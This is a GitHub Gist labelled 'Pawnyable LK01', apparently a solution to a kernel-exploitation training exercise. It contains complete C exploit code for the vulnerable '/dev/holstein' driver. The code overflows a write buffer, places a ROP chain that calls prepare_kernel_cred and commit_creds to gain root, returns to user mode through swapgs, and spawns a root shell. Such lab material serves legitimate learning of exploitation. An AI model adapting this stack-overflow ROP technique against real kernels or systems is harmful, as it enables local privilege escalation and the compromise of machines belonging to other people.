Last active
November 15, 2022 15:46
-
-
Save brant-ruan/46e241637e20ef1647408586b1d758fb to your computer and use it in GitHub Desktop.
Pawnyable LK01
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <signal.h> | |
char *VULN_DRV = "/dev/holstein"; | |
void spawn_shell(); | |
int64_t global_fd = 0; | |
uint64_t user_cs, user_ss, user_rflags, user_sp; | |
uint64_t user_rip = (uint64_t) spawn_shell; | |
uint64_t prepare_kernel_cred = 0xffffffff8106e240; | |
uint64_t commit_creds = 0xffffffff8106e390; | |
uint64_t pop_rdi_ret = 0xffffffff812ef4c0; | |
uint64_t pop_rcx_ret = 0xffffffff812ea083; | |
uint64_t mov_rdi_rax_xxx_ret = 0xffffffff8160c96b; | |
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81800e10; | |
void open_dev() { | |
global_fd = open(VULN_DRV, O_RDWR); | |
if (global_fd < 0) { | |
printf("[!] failed to open %s\n", VULN_DRV); | |
exit(-1); | |
} else { | |
printf("[+] successfully opened %s\n", VULN_DRV); | |
} | |
} | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
void overwrite_ret() { | |
puts("[*] trying to overwrite return address of write op"); | |
char payload[0x500]; | |
memset(payload, 'A', 0x408); | |
unsigned long *chain = (unsigned long*)&payload[0x408]; | |
*chain++ = pop_rdi_ret; // return address | |
*chain++ = 0x0; | |
*chain++ = prepare_kernel_cred; | |
*chain++ = pop_rcx_ret; | |
*chain++ = 0; | |
*chain++ = mov_rdi_rax_xxx_ret; | |
*chain++ = commit_creds; | |
*chain++ = swapgs_restore_regs_and_return_to_usermode + 22; | |
*chain++ = 0x0; | |
*chain++ = 0x0; | |
*chain++ = user_rip; | |
*chain++ = user_cs; | |
*chain++ = user_rflags; | |
*chain++ = user_sp; | |
*chain++ = user_ss; | |
uint64_t data = write(global_fd, payload, sizeof(payload)); | |
puts("[-] if you can read this we failed the mission :("); | |
} | |
int main(int argc, char **argv) { | |
open_dev(); | |
save_userland_state(); | |
overwrite_ret(); | |
close(global_fd); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment